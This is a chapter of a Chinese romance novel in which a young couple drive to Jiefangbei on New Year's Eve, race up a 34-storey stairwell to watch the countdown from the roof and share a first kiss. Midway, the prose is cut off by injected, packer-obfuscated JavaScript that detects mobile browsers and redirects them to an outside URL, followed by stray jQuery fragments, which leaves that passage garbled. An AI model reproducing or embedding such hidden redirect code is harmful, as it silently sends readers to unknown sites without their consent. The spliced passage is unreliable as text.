晚饭吃过后，就到了这天固有的仪式，跨年。


    其实从一年的最后一天到另一年的第一天，跟无数个今天到明天一样，没有转折，没有蜕变。


    但人们喜欢看到从头开始的日历，因为新的一年充满未知，在三百多个明天里，哪几天喜，哪几天悲，选择权又重新回到自己手里。


    院子里，涛涛和几个同辈的小孩儿玩仙女棒，八怪从来没见过烟花，跟在他们屁股后面转圈圈，尾巴摇得飞快。


    大人不比小孩儿好动，搬椅子围坐在院子里，中间摆着火盆取暖，闲话家常。


    柴火把人烤的晕乎乎的，卓桢桢撑着脑袋，眯着眼看院中稚童与黄狗互动。她回想起去年的这时候，她和好朋友们一起聚集在广场上，和千万个陌生人一起倒数新年。


    昨天热闹非凡，今天恬静闲淡。


    两者都好，但卓桢桢更爱前者。


    她点开好久没看的朋友圈，页面刷新都用了好几秒。指尖划过屏幕，她点开每一张图片，放大缩小看得仔细。有人在火锅店举杯，有人在中心广场人挤人，有人在郊区放烟花。


    卓桢桢给每一条都点了赞，然后把手机揣回兜里，伸出手继续烤火，盯着焰火发呆。


    “想不想去解放碑跨年？”耳边突然传来这一句话，卓桢桢还以为自己听错了，猛地转头，正好对上严濡非的目光。


    他的瞳孔里映着跳动的火光，明明灭灭，带着笃定。


    但怎么可能呢，解放碑离这儿百来公里，现在九点，赶不赶得上新年倒数另说，一来一回就要折腾到凌晨。卓桢桢不敢答应：“开玩笑吧，这太远了......”


    “想不想？”他这次问得更认真。


    在卓桢桢看朋友圈时，严濡非在旁边一直注意着她的神情。羡慕，怀念，向往，她的眼神告诉他，她也想像他们一样，在人声鼎沸的地方倒数新年。


    所以不管有多远，不管要多久，他只想听她想不想。


    卓桢桢不知道为什么笑了起来，在柴火的噼啪声里，她听见自己颤抖的声线：“想就能去吗？”


    随后，她得到了肯定答案：“想就能去。”


    *


    卓桢桢看了看车窗外倒退的路灯，又转头看向驾驶座的严濡非，觉得一切好不真实。明明十分钟前她还坐在院子里发呆，十分钟后她就坐上行驶在城乡快速公路的车。


    疯狂的举动，让人隐隐激动，甚至超过了跨年本身。


    卓桢桢连上车载音响，手机播放动感的音乐，整个人手舞足蹈，边唱边跳，还假装成跟歌迷互动的歌星，时不时骚扰严濡非。


    “I''mnotscaredtobeseen


    Imakenoapologies,thisisme！”


    唱完，她把空气麦克风递到严濡非嘴边。严濡非目视前方车道，随意地哼唱间奏的旋律，磁性的声音很抓耳。


    “你唱歌还蛮好听的嘛！”卓桢桢惊喜，让他再唱两句。


    “不会唱英文歌，只会哼个调。”严濡非笑着摇头，“我想听你唱，刚好给我提神。”


    他喜欢在做开车这类枯燥的事情时，有卓桢桢在旁边嬉笑闹腾，就像现在这样，能感受到真实的幸福，把心脏的每一处填满，鼓囊囊的。


    卓桢桢从不羞于展示自己，她点了十几首拿手曲目，都是中文歌，方便她和“粉丝”互动递麦。


    车内开了一场演唱会，独属于严濡非的。


    唱嗨了，卓桢桢开窗冲着外面唱。冷风灌进车里，吹得发丝凌乱，脸也凉丝丝的刺痛。但她只觉得畅快，扯着嗓子唱到副歌，尾音被风刮得飘向远方，这状态像喝了假酒。


    严濡非眼角的余光一直追着她，见她冻得脸颊泛红，嘴巴都不利索了还在唱歌，无奈又好笑地摇摇头。


    她开心就让她疯，反正在快速路上，打扰不到其他人。


    演唱会持续了半个小时，卓桢桢还在摇摆，但音量降了很多，应该是唱累了。严濡非瞥了眼导航上显示的剩余路程，开启右转灯，将车开到最右侧车道。


    “快进匝道了。”他腾出一只手，关上副驾驶的车窗，“一会儿被别人听见了。”


    “你嫌我丢人是不是？”卓桢桢故意这么说，想看看严濡非什么反应，是极力辩解，还是无言以对？不管是哪种，都挺好玩的。


    可严濡非只是侧过头看她一眼，面色如常：“不丢人。”


    “但我只想留给自己听。”


    不知道他从哪儿学的，现在随口就是小情话，撩人而自知。卓桢桢又把车窗打开，尽管脸发麻她也乐意，因为只有这样才能中和过了头的兴奋。


    “再吹风，回去等着头疼吧。”严濡非这回没惯着她，强硬关窗，再捏住那只不听话的手。指尖触到她冰凉的手背，他皱了皱眉，把空调暖风调高了两度。


    呼啸的夜风被隔绝在外，车厢里瞬间安静下来，只剩下音响里循环的音乐。


    卓桢桢随着旋律轻晃，感受着手背上干燥发烫的掌温，莫名其妙咯咯笑起来。


    严濡非问：“晚饭喝酒了？”


    卓桢桢笑着晃脑袋，眼睛亮亮的：“没有呀。”


    “没喝酒怎么看起来呆呆的，还在这儿傻笑。”严濡非指尖在她手背上摩挲，单手操控方向盘驶入匝道。


    “因为我开心！”卓桢桢将手一翻，故意挠他的掌心，“马上就能和你一起在解放碑跨年啦！”


    “因为跨年开心，还是因为有我陪着开心？”


    “不告诉你——”卓桢桢把脸扭向窗外，故意拉长尾调。严濡非也不追问，扯着唇角，掌心捏了捏她的手。


    车刚驶下高速，车流就明显慢了下来。越往解放碑方向走，霓虹灯越来越亮，红黄粉的光映向各处，代表着繁华。路边的行人三五成群，手里拿着气球和荧光棒，跨年的热闹气氛拉满。


    “这也太堵了吧！”卓桢桢盯着前面纹丝不动的车龙，抬手看了眼手机时间——十一点多，离零点不到一小时。


    广场跨年一般需要提早几小时占位置，现在到不到得了都是问题，更别说有没有位置了。


    卓桢桢扒着车窗往前探，前方有条岔路，通向不远处大厦的地下停车场。她突然眼睛一亮，想到一个好点子：“开下去停车，我们上大厦楼顶。”


    严濡非打转向灯，慢慢往车库入口挪，空车位不多，他们在车库绕了几圈。好不容易停好车，两人争分夺秒往电梯跑，进了电梯才发现按楼层需要电梯卡。


    “现在回头去解放碑也来不及了。”卓桢桢有一点小失落，但很快藏好，“没关系，我们停车场看直播吧。”


    严濡非没说话，只是四处打量，目光最后落在走廊尽头的“消防通道”指示牌上。他拉了拉卓桢桢的胳膊，冲那儿抬了抬下巴：“爬楼梯？”


    这座大厦34层，爬上去肯定累得半死，可一想到能在楼顶俯瞰解放碑的跨年盛况，她又觉得浑身是劲。她用力点头：“走！”


    卓桢桢再次确认时间，还有二十五分钟。


    “敢不敢跟明年的自己打个赌。”她玩性大发，“如果我们在零点前到达顶楼，那新年愿望一定会实现。”


    严濡非摘下眼镜收好：“那就试试看。”


    “踏踏”的脚步声在楼梯间回荡，声控灯应声亮起，两人借着冲劲，一口气跑到第十层，用了不到五分钟。


    可再往上爬，体力像被扎破的气球，一下子泄了个干净。卓桢桢扶着栏杆弯腰喘气，腿跟灌了铅似的走不快。


    “歇，歇十秒……”她断断续续


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16891907|190932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道。


    严濡非也停下脚步，弯腰撑着膝盖喘气，他抬头看了眼楼层标识——十二层，刚爬了三分之一。剩下的二十多层，需要在二十分钟内爬完，最省体力的方法就是匀速，他计算了一下，大概五十秒一层。


    “抓着我。”他直起身，把手递给卓桢桢，“我一定带你上顶楼。”


    卓桢桢深吸一口气，咬牙攥紧他的手，借力往上爬。


    声控灯亮了又灭，楼梯间里只剩下粗重的呼吸声和鞋子摩擦台阶的声响。严濡非速度控制得很好，卓桢桢跟着他的节奏调整呼吸，扛过了最难坚持的那一段。


    二十层、三十层，离顶楼越来越近，原本泄气的气球像装上了气泵，他们的的步伐越来越快。


    “就剩最后一层了！”卓桢桢难掩兴奋，跑到严濡非前头，换成自己拉着他。哐当一声，顶层消防通道的铁门被推开，一股冷风扑面而来，两人同时打了个哆嗦，却一点儿也不觉得冷。


    楼顶没有灯，但被解放碑的霓虹照得足够亮。往下看，广场上挤满了人，各色气球穿插其间，喧闹声顺着风飘上来，遥远却清晰。


    卓桢桢扒着栏杆喘气，转头看见同样喘气的严濡非，热气呵到空中凝成白雾，从嘴和鼻子里冒出来。她突然大笑起来，呼出的白雾在空中打旋。


    这已经是她今晚不知道第几次傻笑，像个疯子。严濡非也成了疯子，陪着她一起笑，直到笑出眼泪，肚子发酸。


    “这绝对是我这辈子，最疯狂的跨年夜。”


    大半夜开两个小时的车，又徒步爬三十多层的楼，说出去都会被怀疑脑子不正常。但卓桢桢爱这种疯狂。


    严濡非呼吸平稳下来：“我也是。”


    广场大屏开始倒计时，从六十开始，每一个跳出的数字都伴随着人声。卓桢桢也跟着一起喊，声音里带着抑制不住的兴奋。严濡非戴上眼镜，观赏着眼前的盛况。


    “十——九——八——”卓桢桢冲他挥手，“一起喊啊！严濡非！”


    严濡非被她感染，轻声倒数。


    “三——二——一——”


    钟声敲响，广播里播报“北京时间零点整”，所有人松开手里的彩色气球，任由它带上新年的愿景，乘风而上。密密麻麻缀满夜色，与人群的欢呼声、新年的祝福声混在一起，极其震撼。


    新的一年，在人声鼎沸中开头。


    严濡非嘴角挂着清浅的笑，盯着缓缓升空的气球，镜片倒映出漫天斑斓。卓桢桢被他的侧脸慌了神，心跳加速间，脑海里有个声音在叫嚣：


    她现在，好想亲严濡非。


    她舔了舔发干的嘴唇，深吸一口气，轻轻喊他的名字，轻到她以为自己没说出口。


    严濡非闻声转头，还没来说话，下巴就被啄了一下。他的身体瞬间僵住，连呼吸都忘了，只觉得下巴那点温热像电流，顺着血液窜遍全身。


    卓桢桢也慌，她本来是想亲嘴的，可身高差计算失误，踮的脚不够高，这下尴尬了。她往后退，不敢看他的眼睛：“那个......新年快乐......”


    下一秒，严濡非摘掉眼镜，捧住她的脸吻了下去。


    她没亲到的地方，他替她亲上。


    很简单的一个吻，只是单纯的唇瓣相贴，没有多余的动作。两人在这方面都是菜鸟，只会僵着脖子，一动不动，等到肺内的氧气耗尽，再分开大口喘气。


    卓桢桢抿抿嘴角，刚刚脑袋一片空白，除了紧张，其他什么都没感觉到。


    她的初吻，和水下憋气没什么区别。


    接吻过后要做什么才不会尴尬呢？要不要假装什么都没发生？或者讲个笑话？


    她正想得出神，严濡非在她上方开口，声音微哑：


    “刚刚没发挥好，能再来一次吗？”